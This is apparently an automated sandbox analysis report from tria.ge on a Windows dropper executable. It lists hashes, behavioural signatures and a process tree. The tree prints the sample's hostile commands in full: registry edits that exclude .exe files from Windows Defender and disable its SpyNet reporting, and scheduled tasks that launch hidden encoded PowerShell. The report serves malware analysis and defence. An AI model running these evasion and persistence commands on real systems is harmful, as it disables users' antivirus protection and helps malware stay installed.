Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
147s -
max time network
151s -
platform
windows10-1703_x64 -
resource
win10-20220901-en -
resource tags
arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system -
submitted
28/11/2022, 07:00
Static task
static1
General
-
Target
f17464c0ccc0dd489d995307511ce0f53881e47d84d8f8981ff4f3efe1f6eb72.exe
-
Size
7.3MB
-
MD5
bad9d4e7fe3ad286f9a980a6301f8e64
-
SHA1
31151ddac1ccab2308e332714d94c2390e78891b
-
SHA256
f17464c0ccc0dd489d995307511ce0f53881e47d84d8f8981ff4f3efe1f6eb72
-
SHA512
8e659be94b2d357b8534c27b9fe186a8b18e43435b332bce4ccfcd5d48f800f297d7229076be03695ad431f1d114406a79d939bfc603db52c26cc8dd8cd95f22
-
SSDEEP
196608:91O87pGr2u2S8NPzzVZ50OhkpKgowoius6+nEmxJHMe2:3O87pGr2k8NPzzh0OhSKcoXn+9HU
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 21 5080 rundll32.exe -
Executes dropped EXE 4 IoCs
pid Process 4184 Install.exe 2196 Install.exe 2748 ceFABqO.exe 200 BojCwZG.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000\Control Panel\International\Geo\Nation BojCwZG.exe -
Loads dropped DLL 1 IoCs
pid Process 5080 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\hipilpceecbhfpflneijogboalilnfjp\1.3.3_0\manifest.json BojCwZG.exe -
Drops desktop.ini file(s) 1 IoCs
description ioc Process File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini BojCwZG.exe -
Drops file in System32 directory 29 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_DD5E18651A85E635F184F73BE6D3DB70 BojCwZG.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 BojCwZG.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft BojCwZG.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA BojCwZG.exe File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol ceFABqO.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 BojCwZG.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_DD5E18651A85E635F184F73BE6D3DB70 BojCwZG.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat rundll32.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 BojCwZG.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3B8C7C973B30115D9F846695C38BBC1F BojCwZG.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache BojCwZG.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 BojCwZG.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 BojCwZG.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA BojCwZG.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini ceFABqO.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat BojCwZG.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA BojCwZG.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies BojCwZG.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3B8C7C973B30115D9F846695C38BBC1F BojCwZG.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA BojCwZG.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol BojCwZG.exe File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE BojCwZG.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content BojCwZG.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData BojCwZG.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 BojCwZG.exe -
Drops file in Program Files directory 14 IoCs
description ioc Process File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak BojCwZG.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja BojCwZG.exe File created C:\Program Files (x86)\yykKlvReU\PxVPbfL.xml BojCwZG.exe File created C:\Program Files (x86)\nsuZAQdrghCU2\ZIYmLWUregYFA.dll BojCwZG.exe File created C:\Program Files (x86)\limZEkPpJqIcfAIjpdR\cQwhBST.xml BojCwZG.exe File created C:\Program Files\Mozilla Firefox\browser\features\{DBDE73E2-BC5F-41AD-9E14-0105D4813C2F}.xpi BojCwZG.exe File created C:\Program Files (x86)\HfRzpGoZdXlLC\sOMCihN.xml BojCwZG.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{DBDE73E2-BC5F-41AD-9E14-0105D4813C2F}.xpi BojCwZG.exe File created C:\Program Files (x86)\SwRXyKSuiqUn\DsxwpqW.dll BojCwZG.exe File created C:\Program Files (x86)\nsuZAQdrghCU2\SEpyKGt.xml BojCwZG.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja.bak BojCwZG.exe File created C:\Program Files (x86)\limZEkPpJqIcfAIjpdR\bQvLWRJ.dll BojCwZG.exe File created C:\Program Files (x86)\HfRzpGoZdXlLC\eCAtAQr.dll BojCwZG.exe File created C:\Program Files (x86)\yykKlvReU\ImWrgF.dll BojCwZG.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\Tasks\YVCmYdBSuaIWyTrHH.job schtasks.exe File created C:\Windows\Tasks\otOdYFVhaXZHKZY.job schtasks.exe File created C:\Windows\Tasks\CJOPFnEZBIoRmfUAS.job schtasks.exe File created C:\Windows\Tasks\bblowJjXcZklwGXFpR.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 11 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2732 schtasks.exe 3252 schtasks.exe 4536 schtasks.exe 4524 schtasks.exe 32 schtasks.exe 3816 schtasks.exe 4888 schtasks.exe 1540 schtasks.exe 4456 schtasks.exe 4396 schtasks.exe 1832 schtasks.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" BojCwZG.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache BojCwZG.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" rundll32.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 BojCwZG.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" BojCwZG.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" BojCwZG.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix BojCwZG.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" BojCwZG.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{b79df8d1-0000-0000-0000-d01200000000} BojCwZG.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1256 powershell.EXE 1256 powershell.EXE 1256 powershell.EXE 3992 powershell.exe 3992 powershell.exe 3992 powershell.exe 1880 powershell.exe 1880 powershell.exe 1880 powershell.exe 3608 powershell.EXE 3608 powershell.EXE 3608 powershell.EXE 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe 200 BojCwZG.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 1256 powershell.EXE Token: SeDebugPrivilege 3992 powershell.exe Token: SeDebugPrivilege 1880 powershell.exe Token: SeDebugPrivilege 3608 powershell.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4544 wrote to memory of 4184 4544 f17464c0ccc0dd489d995307511ce0f53881e47d84d8f8981ff4f3efe1f6eb72.exe 66 PID 4544 wrote to memory of 4184 4544 f17464c0ccc0dd489d995307511ce0f53881e47d84d8f8981ff4f3efe1f6eb72.exe 66 PID 4544 wrote to memory of 4184 4544 f17464c0ccc0dd489d995307511ce0f53881e47d84d8f8981ff4f3efe1f6eb72.exe 66 PID 4184 wrote to memory of 2196 4184 Install.exe 67 PID 4184 wrote to memory of 2196 4184 Install.exe 67 PID 4184 wrote to memory of 2196 4184 Install.exe 67 PID 2196 wrote to memory of 796 2196 Install.exe 69 PID 2196 wrote to memory of 796 2196 Install.exe 69 PID 2196 wrote to memory of 796 2196 Install.exe 69 PID 2196 wrote to memory of 2284 2196 Install.exe 70 PID 2196 wrote to memory of 2284 2196 Install.exe 70 PID 2196 wrote to memory of 2284 2196 Install.exe 70 PID 796 wrote to memory of 3088 796 forfiles.exe 74 PID 796 wrote to memory of 3088 796 forfiles.exe 74 PID 796 wrote to memory of 3088 796 forfiles.exe 74 PID 2284 wrote to memory of 2764 2284 forfiles.exe 73 PID 2284 wrote to memory of 2764 2284 forfiles.exe 73 PID 2284 wrote to memory of 2764 2284 forfiles.exe 73 PID 2764 wrote to memory of 5100 2764 cmd.exe 76 PID 2764 wrote to memory of 5100 2764 cmd.exe 76 PID 2764 wrote to memory of 5100 2764 cmd.exe 76 PID 3088 wrote to memory of 5116 3088 cmd.exe 75 PID 3088 wrote to memory of 5116 3088 cmd.exe 75 PID 3088 wrote to memory of 5116 3088 cmd.exe 75 PID 3088 wrote to memory of 4624 3088 cmd.exe 77 PID 3088 wrote to memory of 4624 3088 cmd.exe 77 PID 3088 wrote to memory of 4624 3088 cmd.exe 77 PID 2764 wrote to memory of 4532 2764 cmd.exe 78 PID 2764 wrote to memory of 4532 2764 cmd.exe 78 PID 2764 wrote to memory of 4532 2764 cmd.exe 78 PID 2196 wrote to memory of 3816 2196 Install.exe 79 PID 2196 wrote to memory of 3816 2196 Install.exe 79 PID 2196 wrote to memory of 3816 2196 Install.exe 79 PID 2196 wrote to memory of 528 2196 Install.exe 81 PID 2196 wrote to memory of 528 2196 Install.exe 81 PID 2196 wrote to memory of 528 2196 Install.exe 81 PID 1256 wrote to memory of 416 1256 powershell.EXE 85 PID 1256 wrote to memory of 416 1256 powershell.EXE 85 PID 2196 wrote to memory of 2704 2196 Install.exe 90 PID 2196 wrote to memory of 2704 2196 Install.exe 90 PID 2196 wrote to memory of 2704 2196 Install.exe 90 PID 2196 wrote to memory of 4888 2196 Install.exe 92 PID 2196 wrote to memory of 4888 2196 Install.exe 92 PID 2196 wrote to memory of 4888 2196 Install.exe 92 PID 2748 wrote to memory of 3992 2748 ceFABqO.exe 95 PID 2748 wrote to memory of 3992 2748 ceFABqO.exe 95 PID 2748 wrote to memory of 3992 2748 ceFABqO.exe 95 PID 3992 wrote to memory of 4744 3992 powershell.exe 97 PID 3992 wrote to memory of 4744 3992 powershell.exe 97 PID 3992 wrote to memory of 4744 3992 powershell.exe 97 PID 4744 wrote to memory of 4536 4744 cmd.exe 98 PID 4744 wrote to memory of 4536 4744 cmd.exe 98 PID 4744 wrote to memory of 4536 4744 cmd.exe 98 PID 3992 wrote to memory of 3804 3992 powershell.exe 99 PID 3992 wrote to memory of 3804 3992 powershell.exe 99 PID 3992 wrote to memory of 3804 3992 powershell.exe 99 PID 3992 wrote to memory of 3136 3992 powershell.exe 100 PID 3992 wrote to memory of 3136 3992 powershell.exe 100 PID 3992 wrote to memory of 3136 3992 powershell.exe 100 PID 3992 wrote to memory of 3088 3992 powershell.exe 101 PID 3992 wrote to memory of 3088 3992 powershell.exe 101 PID 3992 wrote to memory of 3088 3992 powershell.exe 101 PID 3992 wrote to memory of 796 3992 powershell.exe 102 PID 3992 wrote to memory of 796 3992 powershell.exe 102
Processes
-
C:\Users\Admin\AppData\Local\Temp\f17464c0ccc0dd489d995307511ce0f53881e47d84d8f8981ff4f3efe1f6eb72.exe"C:\Users\Admin\AppData\Local\Temp\f17464c0ccc0dd489d995307511ce0f53881e47d84d8f8981ff4f3efe1f6eb72.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4544 -
C:\Users\Admin\AppData\Local\Temp\7zSAF50.tmp\Install.exe.\Install.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4184 -
C:\Users\Admin\AppData\Local\Temp\7zSC43F.tmp\Install.exe.\Install.exe /S /site_id "757674"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:2196 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
PID:796 -
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
PID:3088 -
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:326⤵PID:5116
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:646⤵PID:4624
-
-
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
PID:2284 -
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
PID:2764 -
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:326⤵PID:5100
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:646⤵PID:4532
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gvywRXcIJ" /SC once /ST 05:49:56 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="4⤵
- Creates scheduled task(s)
PID:3816
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gvywRXcIJ"4⤵PID:528
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gvywRXcIJ"4⤵PID:2704
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bblowJjXcZklwGXFpR" /SC once /ST 07:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\VhztSrljyzmivhIKo\qeBBoysHbnyMmiT\ceFABqO.exe\" Vo /site_id 757674 /S" /V1 /F4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4888
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1256 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵PID:416
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:2780
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵PID:2772
-
\??\c:\windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:2664
-
C:\Users\Admin\AppData\Local\Temp\VhztSrljyzmivhIKo\qeBBoysHbnyMmiT\ceFABqO.exeC:\Users\Admin\AppData\Local\Temp\VhztSrljyzmivhIKo\qeBBoysHbnyMmiT\ceFABqO.exe Vo /site_id 757674 /S1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2748 -
